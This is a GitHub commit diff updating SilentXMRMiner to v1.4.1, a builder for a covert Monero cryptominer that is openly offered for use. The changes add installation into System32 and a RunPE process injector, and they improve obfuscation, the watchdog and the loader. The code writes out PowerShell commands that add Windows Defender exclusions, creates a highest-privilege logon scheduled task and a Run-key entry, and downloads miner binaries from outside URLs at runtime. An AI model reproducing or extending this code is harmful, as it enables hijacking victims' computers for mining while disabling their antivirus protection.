Skip to content
This repository was archived by the owner on Sep 12, 2023. It is now read-only.

Commit 1b5c195

Browse files
author
UnamSanctam
committed
Updated to v1.4.1
* Fixed possible critical bug that makes the miner unable to see if a miner is running or not thus opening multiple miners * Added backup servers for Online Downloader * Added Install to System32 option (requires administrator permissions) * Moved RunPE injector (Mandark) into miner to avoid internal Assembly.Load and improved it a bit * Fixed possiblity of duplicate random obfuscation strings * Improved Loader * Improved Watchdog * Improved obfuscation
1 parent c365911 commit 1b5c195

15 files changed

+479
-245
lines changed

README.md

Lines changed: 11 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11

22
<img src="https://github.com/UnamSanctam/SilentXMRMiner/blob/master/SilentXMRMiner.png?raw=true">
33

4-
# SilentXMRMiner v1.4 - Based on Lime Miner v0.3
4+
# SilentXMRMiner v1.4.1 - Based on Lime Miner v0.3
55

66
Can mine all the following algorithms and thus all the cryptocurrencies that use them: **cn/upx2**, **argon2/chukwav2**, **cn/ccx**, **kawpow**, **rx/keva**, **astrobwt**, **cn-pico/tlo**, **rx/sfx**, **rx/arq**, **rx/0**, **argon2/chukwa**, **argon2/wrkz**, **rx/wow**, **cn/fast**, **cn/rwz**, **cn/zls**, **cn/double**, **cn/r**, **cn-pico**, **cn/half**, **cn/2**, **cn/xao**, **cn/rto**, **cn-heavy/tube**, **cn-heavy/xhv**, **cn-heavy/0**, **cn/1**, **cn-lite/1**, **cn-lite/0** and **cn/0**.
77

@@ -41,8 +41,17 @@ You can find the new wiki [here](https://github.com/UnamSanctam/SilentXMRMiner/w
4141

4242
## Changes
4343

44+
### v1.4.1 (10/07/2021)
45+
* Fixed possible critical bug that makes the miner unable to see if a miner is running or not thus opening multiple miners
46+
* Added backup servers for Online Downloader
47+
* Added Install to System32 option (requires administrator permissions)
48+
* Moved RunPE injector (Mandark) into miner to avoid internal Assembly.Load and improved it a bit
49+
* Fixed possiblity of duplicate random obfuscation strings
50+
* Improved Loader
51+
* Improved Watchdog
52+
* Improved obfuscation
4453
### v1.4 (05/07/2021)
45-
**v1.4 is the final update before the new, greatly improved unified miner that I'm working on.**
54+
**v1.4.\* is the final update before the new, greatly improved unified miner that I'm working on.**
4655
* Added the Online Downloader option that makes the miner download the miner binary (from GitHub) during runtime to greatly decrease file size (to less then 100kb) and detections - Also added a cache so that it won't have to download the miner on every start
4756
* Made the Task Scheduler task start for all users
4857
* Improved Watchdog program flow

SilentXMRMiner/Advanced.Designer.vb

Lines changed: 176 additions & 112 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

SilentXMRMiner/Advanced.resx

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -120,6 +120,11 @@
120120
<metadata name="TooltipHelper.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
121121
<value>17, 17</value>
122122
</metadata>
123+
<data name="Label7.ToolTip" xml:space="preserve">
124+
<value>Will try to install to System32, if unsuccessful it will try to install to the path chosen in the "Install" tab. It's recommended to enable this when using 'Run as Administrator'.
125+
This command requires Administrator privileges!
126+
</value>
127+
</data>
123128
<data name="Label1.ToolTip" xml:space="preserve">
124129
<value>Pauses the miner compilation when the Watchdog DLL and/or Miner DLL is compiled to allow manual obfuscation of the file.
125130
You can find the file in the same folder as the miner location you specified with the name MINERFILE-watchdog.dll or MINERFILE-miner.dll.

SilentXMRMiner/Advanced.vb

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -30,6 +30,23 @@
3030
Private Sub toggleKillWD_CheckedChanged(sender As Object) Handles toggleKillWD.CheckedChanged
3131
If toggleKillWD.Checked Then
3232
toggleAdministrator.Checked = True
33+
toggleInstallSystem32.Checked = True
34+
End If
35+
End Sub
36+
37+
Private Sub toggleInstallSystem32_CheckedChanged(sender As Object) Handles toggleInstallSystem32.CheckedChanged
38+
If toggleInstallSystem32.Checked Then
39+
toggleAdministrator.Checked = True
40+
End If
41+
End Sub
42+
43+
Private Sub toggleAdministrator_CheckedChanged(sender As Object) Handles toggleAdministrator.CheckedChanged
44+
If toggleAdministrator.Checked Then
45+
toggleInstallSystem32.Checked = True
46+
toggleKillWD.Checked = True
47+
Else
48+
toggleInstallSystem32.Checked = False
49+
toggleKillWD.Checked = False
3350
End If
3451
End Sub
3552
End Class

SilentXMRMiner/Codedom.vb

Lines changed: 34 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -10,14 +10,18 @@ Public Class Codedom
1010
Public Shared LoaderOK As Boolean = False
1111
Public Shared UninstallerOK As Boolean = False
1212
Public Shared F As Form1
13+
14+
Public Shared GlobalRProgram As String
1315
Public Shared Sub MinerCompiler(ByVal Path As String, ByVal Code As String, ByVal Res As String)
1416
MinerOK = False
1517

1618
Dim providerOptions = New Dictionary(Of String, String)
1719
providerOptions.Add("CompilerVersion", "v4.0")
1820
Dim CodeProvider As New CSharpCodeProvider(providerOptions)
1921
Dim Parameters As New CompilerParameters
20-
Dim OP As String = " /target:library /platform:x64 /optimize "
22+
Dim OP As String = " /target:winexe /platform:x64 /optimize "
23+
24+
GlobalRProgram = F.Randomi(F.rand.Next(5, 40))
2125

2226
With Parameters
2327
.GenerateExecutable = False
@@ -36,7 +40,6 @@ Public Class Codedom
3640
F.txtLog.Text = F.txtLog.Text + ("Creating resources..." + vbNewLine)
3741

3842
Using R As New Resources.ResourceWriter(IO.Path.GetTempPath & "\" + Res + ".Resources")
39-
R.AddResource(F.Resources_dll, F.AES_Encryptor(My.Resources.Mandark))
4043
If Not F.FA.toggleDownloader.Checked Then
4144
R.AddResource(F.Resources_xmrig, F.AES_Encryptor(My.Resources.xmrig))
4245
End If
@@ -79,7 +82,9 @@ Public Class Codedom
7982
providerOptions.Add("CompilerVersion", "v4.0")
8083
Dim CodeProvider As New CSharpCodeProvider(providerOptions)
8184
Dim Parameters As New CompilerParameters
82-
Dim OP As String = " /target:library /platform:x64 /optimize "
85+
Dim OP As String = " /target:winexe /platform:x64 /optimize "
86+
87+
GlobalRProgram = F.Randomi(F.rand.Next(5, 40))
8388

8489
With Parameters
8590
.GenerateExecutable = False
@@ -150,7 +155,7 @@ Public Class Codedom
150155
Dim Resources_Loader = F.Randomi(rand.Next(5, 40))
151156

152157
Using R As New Resources.ResourceWriter(IO.Path.GetTempPath & "\" + Resources_Loader + ".Resources")
153-
R.AddResource(Resources_Program, ProgramBytes.Reverse().ToArray())
158+
R.AddResource(Resources_Program, F.AES_Encryptor(ProgramBytes))
154159
R.Generate()
155160
End Using
156161

@@ -233,7 +238,7 @@ Public Class Codedom
233238
Public Shared Sub ReplaceGlobals(ByRef stringb As StringBuilder)
234239
If F.FA.toggleKillWD.Checked Then
235240
stringb.Replace("DefKillWD", "true")
236-
stringb.Replace("#KillWDCommands", Convert.ToBase64String(Encoding.ASCII.GetBytes("powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & exit").Reverse().ToArray()))
241+
stringb.Replace("#KillWDCommands", F.EncryptString("/c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit"))
237242
End If
238243

239244
If F.FA.toggleEnableDebug.Checked Then
@@ -264,7 +269,13 @@ Public Class Codedom
264269
installdir = "Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)"
265270
End Select
266271

267-
stringb.Replace("PayloadPath", "System.IO.Path.Combine(" & installdir & "," & Chr(34) & F.txtInstallFileName.Text & Chr(34) & ")")
272+
If F.FA.toggleInstallSystem32.Checked Then
273+
stringb.Replace("DefSystem32", "true")
274+
stringb.Replace("PayloadPath", "System.IO.Path.Combine((new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator) ? Environment.SystemDirectory : " & installdir & ")," & Chr(34) & F.txtInstallFileName.Text & Chr(34) & ")")
275+
Else
276+
stringb.Replace("PayloadPath", "System.IO.Path.Combine(" & installdir & "," & Chr(34) & F.txtInstallFileName.Text & Chr(34) & ")")
277+
End If
278+
268279

269280
If F.toggleWatchdog.Checked Then
270281
stringb.Replace("DefWatchdog", "true")
@@ -288,18 +299,20 @@ Public Class Codedom
288299

289300
stringb.Replace("%Guid%", Guid.NewGuid.ToString)
290301

291-
stringb.Replace("#STARTDELAY", F.txtStartDelay.Text)
292302
stringb.Replace("#KEY", F.AESKEY)
293303
stringb.Replace("#SALT", F.SALT)
294304
stringb.Replace("#IV", F.IV)
295305
stringb.Replace("#DLLSTR", F.EncryptString("Mandark.Mandark"))
296306
stringb.Replace("#DLLOAD", F.EncryptString("Load"))
297307
stringb.Replace("#REGKEY", F.EncryptString("Software\Microsoft\Windows\CurrentVersion\Run\"))
308+
stringb.Replace("#SANCTAMLIBSURL", F.EncryptString("https://sanctam.net:58899/assets/txt/resource_url.php?type=libs"))
309+
stringb.Replace("#SANCTAMMINERURL", F.EncryptString("https://sanctam.net:58899/assets/txt/resource_url.php?type=xmrig"))
298310
stringb.Replace("#LIBSURL", F.EncryptString("https://github.com/UnamSanctam/SilentXMRMiner/raw/master/SilentXMRMiner/Resources/libs.zip"))
299311
stringb.Replace("#MINERURL", F.EncryptString("https://github.com/UnamSanctam/SilentXMRMiner/raw/master/SilentXMRMiner/Resources/xmrig.zip"))
300312
stringb.Replace("#LIBSPATH", F.EncryptString("Microsoft\Libs\"))
301313
stringb.Replace("#WATCHDOG", F.EncryptString("sihost64"))
302314
stringb.Replace("#TASKSCH", F.EncryptString("/c schtasks /create /f /sc onlogon /rl highest /tn "))
315+
stringb.Replace("#MINERID", F.EncryptString("--cinit-find-x"))
303316
stringb.Replace("#InjectionTarget", F.EncryptString(F.InjectionTarget(0)))
304317
stringb.Replace("#InjectionDir", F.InjectionTarget(1).Replace("(", "").Replace(")", "").Replace("%WINDIR%", """ + Environment.GetFolderPath(Environment.SpecialFolder.Windows) + """))
305318

@@ -315,12 +328,26 @@ Public Class Codedom
315328
stringb.Replace("RTruncate", F.Randomi(F.rand.Next(5, 40)))
316329
stringb.Replace("RCommandLineEncrypt", F.Randomi(F.rand.Next(5, 40)))
317330
stringb.Replace("RWDLoop", F.Randomi(F.rand.Next(5, 40)))
331+
stringb.Replace("RStart", F.Randomi(F.rand.Next(5, 40)))
332+
stringb.Replace("RLoader", F.Randomi(F.rand.Next(5, 40)))
333+
stringb.Replace("RUninstaller", F.Randomi(F.rand.Next(5, 40)))
334+
stringb.Replace("RProgram", GlobalRProgram)
318335

319336
stringb.Replace("rarg1", F.Randomi(F.rand.Next(5, 40)))
320337
stringb.Replace("rarg2", F.Randomi(F.rand.Next(5, 40)))
321338
stringb.Replace("rarg3", F.Randomi(F.rand.Next(5, 40)))
339+
stringb.Replace("rarg4", F.Randomi(F.rand.Next(5, 40)))
340+
stringb.Replace("rarg5", F.Randomi(F.rand.Next(5, 40)))
341+
stringb.Replace("rarg6", F.Randomi(F.rand.Next(5, 40)))
342+
stringb.Replace("rarg7", F.Randomi(F.rand.Next(5, 40)))
343+
stringb.Replace("rarg8", F.Randomi(F.rand.Next(5, 40)))
344+
stringb.Replace("rarg9", F.Randomi(F.rand.Next(5, 40)))
345+
stringb.Replace("rarg10", F.Randomi(F.rand.Next(5, 40)))
346+
stringb.Replace("rarg11", F.Randomi(F.rand.Next(5, 40)))
322347
stringb.Replace("rbD", F.Randomi(F.rand.Next(5, 40)))
348+
stringb.Replace("rbD2", F.Randomi(F.rand.Next(5, 40)))
323349
stringb.Replace("rplp", F.Randomi(F.rand.Next(5, 40)))
324350
stringb.Replace("rxM", F.Randomi(F.rand.Next(5, 40)))
351+
stringb.Replace("startDelay", F.txtStartDelay.Text)
325352
End Sub
326353
End Class

SilentXMRMiner/Form1.Designer.vb

Lines changed: 2 additions & 2 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

SilentXMRMiner/Form1.vb

Lines changed: 17 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,8 @@ Public Class Form1
88
Public watchdogdata As Byte() = New Byte() {}
99
Public FA As New Advanced
1010

11+
Public RandomiCache As New List(Of String)
12+
1113
'Silent XMR Miner by Unam Sanctam https://github.com/UnamSanctam/SilentXMRMiner, initially based on Lime Miner by NYAN CAT https://github.com/NYAN-x-CAT/Lime-Miner
1214

1315
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles Me.Load
@@ -18,6 +20,7 @@ Public Class Form1
1820
Codedom.F = Me
1921
FA.F = Me
2022

23+
RandomiCache.Add("SilentXMRMiner")
2124

2225
FA.txtAdvParam.Text = advancedParams
2326
End Sub
@@ -68,7 +71,7 @@ Public Class Form1
6871
txtLog.Text = txtLog.Text + ("Starting..." + vbNewLine)
6972
txtLog.Text = txtLog.Text + ("Replacing strings..." + vbNewLine)
7073
Dim minerbuilder As New StringBuilder(My.Resources.Program)
71-
Dim argstr As String = " --cinit-find-x -B " & If(FA.chkAdvanced.Checked, FA.txtAdvParam.Text, advancedParams) & " --url=" & txtPoolURL.Text & " --user=" & txtPoolUsername.Text & " --pass=" & txtPoolPassowrd.Text & " --cpu-max-threads-hint=" & txtMaxCPU.Text.Replace("%", "") & If(FA.chkRemoteConfig.Checked, " --cinit-remote-config=""" & Unamlib_Encrypt(FA.txtRemoteConfig.Text) & """", "") & " --donate-level=5 "
74+
Dim argstr As String = " --cinit-find-x -B " & If(FA.chkAdvanced.Checked, FA.txtAdvParam.Text, advancedParams) & " --url=" & txtPoolURL.Text & " --user=" & txtPoolUsername.Text & " --pass=" & txtPoolPassowrd.Text & " --cpu-max-threads-hint=" & txtMaxCPU.Text.Replace("%", "") & If(FA.chkRemoteConfig.Checked, " --cinit-remote-config=""" & Unamlib_Encrypt(FA.txtRemoteConfig.Text) & """", "") & " "
7275

7376
minerbuilder.Replace("#dll", Resources_dll)
7477
minerbuilder.Replace("#xmr", Resources_xmrig)
@@ -233,13 +236,19 @@ Public Class Form1
233236
End Function
234237

235238
Public Function Randomi(ByVal length As Integer) As String
236-
Dim Chr As String = "asdfghjklqwertyuiopmnbvcxz"
237-
Dim sb As New Text.StringBuilder()
238-
For i As Integer = 1 To length
239-
Dim idx As Integer = rand.Next(0, Chr.Length)
240-
sb.Append(Chr.Substring(idx, 1))
241-
Next
242-
Return sb.ToString
239+
While True
240+
Dim Chr As String = "asdfghjklqwertyuiopmnbvcxz"
241+
Dim sb As New Text.StringBuilder()
242+
For i As Integer = 1 To length
243+
Dim idx As Integer = rand.Next(0, Chr.Length)
244+
sb.Append(Chr.Substring(idx, 1))
245+
Next
246+
If Not RandomiCache.Contains(sb.ToString()) Then
247+
RandomiCache.Add(sb.ToString())
248+
Return sb.ToString
249+
End If
250+
End While
251+
Return ""
243252
End Function
244253

245254
Private Sub chkInstall_CheckedChanged(sender As Object) Handles chkInstall.CheckedChanged

SilentXMRMiner/My Project/Resources.Designer.vb

Lines changed: 12 additions & 18 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

SilentXMRMiner/My Project/Resources.resx

Lines changed: 0 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -118,9 +118,6 @@
118118
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
119119
</resheader>
120120
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
121-
<data name="Mandark" type="System.Resources.ResXFileRef, System.Windows.Forms">
122-
<value>..\Resources\Mandark.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
123-
</data>
124121
<data name="Monero" type="System.Resources.ResXFileRef, System.Windows.Forms">
125122
<value>..\Resources\Monero.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
126123
</data>

0 commit comments

Comments
 (0)